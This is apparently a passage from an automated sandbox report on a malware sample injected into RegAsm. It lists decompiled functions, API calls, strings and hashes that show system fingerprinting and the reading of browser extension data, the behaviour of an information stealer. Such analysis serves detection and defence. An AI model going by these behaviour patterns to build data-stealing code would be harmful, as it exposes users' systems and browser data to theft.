Part of subcall function 004123D5: strncpy.MSVCRT ref: 004123EB

lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116F6
lstrcatA.KERNEL32(?,00436ECC,?,?,?,?,?), ref: 00411713
GetCurrentHwProfileA.ADVAPI32(?), ref: 0041169F

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Strings

Unknown, xrefs: 0041173C

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$CurrentProfile_memsetlstrcpymallocstrncpy
String ID: Unknown
API String ID: 2781187439-1654365787
Opcode ID: 4d8cb39ea1b4ed54e3f300870354dc2ae51ec867f2c68628d2f900bf81ddc056
Instruction ID: e16faae0c81c60b5e598804f18e2624829d9ce3e19401eba06f84191a032fb08
Opcode Fuzzy Hash: 4d8cb39ea1b4ed54e3f300870354dc2ae51ec867f2c68628d2f900bf81ddc056
Instruction Fuzzy Hash: 94118671A1011CABCB21EB65DD86FDD73BCAB18704F4000A6B645E7191DAB8AFC88F58

Function 00411119 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,Keyboard Languages: ,00436910,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4,Install Date: ), ref: 00411131
HeapAlloc.KERNEL32(00000000), ref: 00411138
GlobalMemoryStatusEx.KERNEL32(?,?,00000040), ref: 00411154
wsprintfA.USER32 ref: 0041117A

Strings

%d MB, xrefs: 00411174

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB
API String ID: 3644086013-2651807785
Opcode ID: 89584d483760bb67fc1af027f289555508cfc257cac48e06a2fd8cf4475c7de8
Instruction ID: 5dcbff83f2e118e0c4558aaad003bfdfd7763a9b2ecc3f626fa71ae20ae50975
Opcode Fuzzy Hash: 89584d483760bb67fc1af027f289555508cfc257cac48e06a2fd8cf4475c7de8
Instruction Fuzzy Hash: C60186B1A00218ABEB08DFB4DC45AEEB7BDEF08705F04006AF602D7290EA7599818758

Function 00410B30 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 40memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B44
HeapAlloc.KERNEL32(00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B4B
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B79
RegQueryValueExA.KERNEL32(00436888,00000000,00000000,00000000,000000FF,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B95

Strings

Windows 11, xrefs: 00410B5C

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: Windows 11
API String ID: 3676486918-2517555085
Opcode ID: e3368c902befc4cf7a45888ed36aa8236a31042c29ba286c6ff82d11e2c4ce16
Instruction ID: c636f12a4b9fd3341eb7223670fa9a8d4496e2c02347a6f2be12f88bf3247473
Opcode Fuzzy Hash: e3368c902befc4cf7a45888ed36aa8236a31042c29ba286c6ff82d11e2c4ce16
Instruction Fuzzy Hash: 1AF06875600304FBFF149BD1DC4AFAB7A7EEB4470AF1410A5F601D5190E7B6AA909714

Function 00410BA9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 36memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ,004368A0), ref: 00410BBD
HeapAlloc.KERNEL32(00000000,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ,004368A0), ref: 00410BC4
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ,004368A0), ref: 00410BE2
RegQueryValueExA.KERNEL32(00436888,CurrentBuildNumber,00000000,00000000,00000000,000000FF,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ), ref: 00410BFD

Strings

CurrentBuildNumber, xrefs: 00410BF5

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3676486918-1022791448
Opcode ID: c84c6eb54361118da4c3cf5dc7048b6cc90d818083839d71d976e1457e1e6126
Instruction ID: adfa9e2f60a12e4d5f9b95a3627e322926d469c0f3b43989f67d349f50e983ff
Opcode Fuzzy Hash: c84c6eb54361118da4c3cf5dc7048b6cc90d818083839d71d976e1457e1e6126
Instruction Fuzzy Hash: E9F09075640304BBEF159B90DC0AFAF7A7EEB44B06F240055F601A50A0E6B25A909B50

Function 0041BD6B Relevance: 7.6, APIs: 5, Instructions: 99fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,759774F0,?,0041CD38,?,0041CDC6,00000000,06400000,00000003,00000000,004176C9,.exe,00436C5C), ref: 0041BDB8
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,759774F0,?,0041CD38,?,0041CDC6,00000000,06400000,00000003,00000000), ref: 0041BDF0

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$CreatePointer
String ID:
API String ID: 2024441833-0
Opcode ID: c2a5f8e1d00489231e5594f9a747e25d59c8a13e659a0516d0e6ae57d101117a
Instruction ID: a7fcab5fc76b215fc153f0a7a8fa390ecf3d52f3273933f240fd58eae568e075
Opcode Fuzzy Hash: c2a5f8e1d00489231e5594f9a747e25d59c8a13e659a0516d0e6ae57d101117a
Instruction Fuzzy Hash: C83143B0544B04DFDB348F259884BE77AE8EB14358F108A2FE2D686681D73998C4DB99

Function 6C10C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C10C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C10C969
GetSystemInfo.KERNEL32(?), ref: 6C10C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C10C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C10C9E2

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 945d7ca62b50f552f60b80db6d43d206b55faa1e8f5acbcebc4fd90f1724c3b7
Instruction ID: 9979fce4c4b01b1df6dc2c284e7ea0e52260de77a66e23384dfa54c817857e7a
Opcode Fuzzy Hash: 945d7ca62b50f552f60b80db6d43d206b55faa1e8f5acbcebc4fd90f1724c3b7
Instruction Fuzzy Hash: 1721F631741624ABDB05AA28CC98BAE73B9FF46744F50011AF903A7B80DF709C409FB2

Function 00404AB6 Relevance: 7.6, APIs: 5, Instructions: 50stringnetworkCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID:
API String ID: 1274457161-0
Opcode ID: f25c82f9083139f9dc305e99f373a1749f43e790606f1cfdd691ee0f4a79a4b6
Instruction ID: f1c5382da97c9dd65e4db87c3c806c9c9b4e03b01775002e3606c6f6cd357758
Opcode Fuzzy Hash: f25c82f9083139f9dc305e99f373a1749f43e790606f1cfdd691ee0f4a79a4b6
Instruction Fuzzy Hash: E9011B72D00218ABDF149BA9DC45ADEBFB8AF55330F10821AF925F72E0DB745A058B94

Function 004083D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,0040DB0A), ref: 004083F2

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,004172BE,004366CF,004366CE,?,?,?,?,004186D9), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,004172BE,004366CF,004366CE,?,?,?,?,004186D9), ref: 00410581

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

SetEnvironmentVariableA.KERNEL32(?,00437194,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,004367C3,?,?,?,?,?,?,?,?,0040DB0A), ref: 00408447
LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,0040DB0A), ref: 0040845B

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 004083E6, 004083EB, 00408405

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: c9438e9efdc411056bb324c4e7a53eb82b475557c180a79d7391348954785ef6
Instruction ID: 1d1035b7872eafe5bc2acfcfd9c5443481a9431a5cd399c5b03dff48eed801cb
Opcode Fuzzy Hash: c9438e9efdc411056bb324c4e7a53eb82b475557c180a79d7391348954785ef6
Instruction Fuzzy Hash: 20315C71940714ABCF16EF2AED0245D7BA2AB48706F10607BF440B72B0DB7A1A81CF89

Function 00416F10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55stringCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00416F17
lstrlenA.KERNEL32(?,0000001C), ref: 00416F22
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416FA6

Strings

ERROR, xrefs: 00416F9E

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog3_catchlstrlen
String ID: ERROR
API String ID: 591506033-2861137601
Opcode ID: 5df342e5ce7991606f82030ed0288162f1ba7e06292a00205ee6cf4239b7dc2e
Instruction ID: 2f753fbedd6edd9add26d66ee806573d4ec80faf577aa57932e8683d1d50e8eb
Opcode Fuzzy Hash: 5df342e5ce7991606f82030ed0288162f1ba7e06292a00205ee6cf4239b7dc2e
Instruction Fuzzy Hash: C1117F71900509AFCB40FF75D9025DDBBB1BF04308B90413AE814E3591D779EAA98FC9

Function 0041224A Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,=A,00000000,?), ref: 0041226C
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00412287
CloseHandle.KERNEL32(00000000), ref: 0041228E

Strings

=A, xrefs: 0041225D, 00412262

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID: =A
API String ID: 3183270410-2399317284
Opcode ID: 2d231bb5f38b7fa9e5575f049525cd82efefcd3b68c49e3a876efc8642afa260
Instruction ID: 442fa9873dc7f002770bdea40ee9cbaac768a1cc74092784d496e615125a3bbb
Opcode Fuzzy Hash: 2d231bb5f38b7fa9e5575f049525cd82efefcd3b68c49e3a876efc8642afa260
Instruction Fuzzy Hash: C0F0B471600218ABDB24EB68DC45FEE77BC9B44B08F0000AAF645D7180EEF5DAC58B54

Function 0040B332 Relevance: 6.2, APIs: 4, Instructions: 196filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001,00437414,0043681B,?,?,?), ref: 0040B3D7
lstrlenA.KERNEL32(?), ref: 0040B529
lstrlenA.KERNEL32(?), ref: 0040B544
DeleteFileA.KERNEL32(?), ref: 0040B596

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: b2206d7d63c9dcb6483526cc2e162feb03a43f6f5618b9a680cd6504c01f903d
Instruction ID: 3ac67bacb23cfafef8ec4b18c91a377dc84dfc0a90e8c2d294636718f87bc104
Opcode Fuzzy Hash: b2206d7d63c9dcb6483526cc2e162feb03a43f6f5618b9a680cd6504c01f903d
Instruction Fuzzy Hash: A9714172A00119ABCF01FBA5EE468CD7775EF14309F114036F500B71A1DBB9AE898B98

Function 0040D40E Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 125stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

StrStrA.SHLWAPI(00000000,?,00437538,0043688A), ref: 0040D49F
lstrlenA.KERNEL32(?), ref: 0040D4B2

Strings

^userContextId=4294967295, xrefs: 0040D4D7
moz-extension+++, xrefs: 0040D4DD

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$File$AllocLocallstrcatlstrlen$CloseCreateHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 161838763-3310892237
Opcode ID: 229e1c9c4125b9beb8432d8f0dcd7c07f23799ce746ab41748883add3f30aa13
Instruction ID: 85de75ec200c89e9111d7c6d064248f53d90c55406061a5cb20e0ca06024b096
Opcode Fuzzy Hash: 229e1c9c4125b9beb8432d8f0dcd7c07f23799ce746ab41748883add3f30aa13
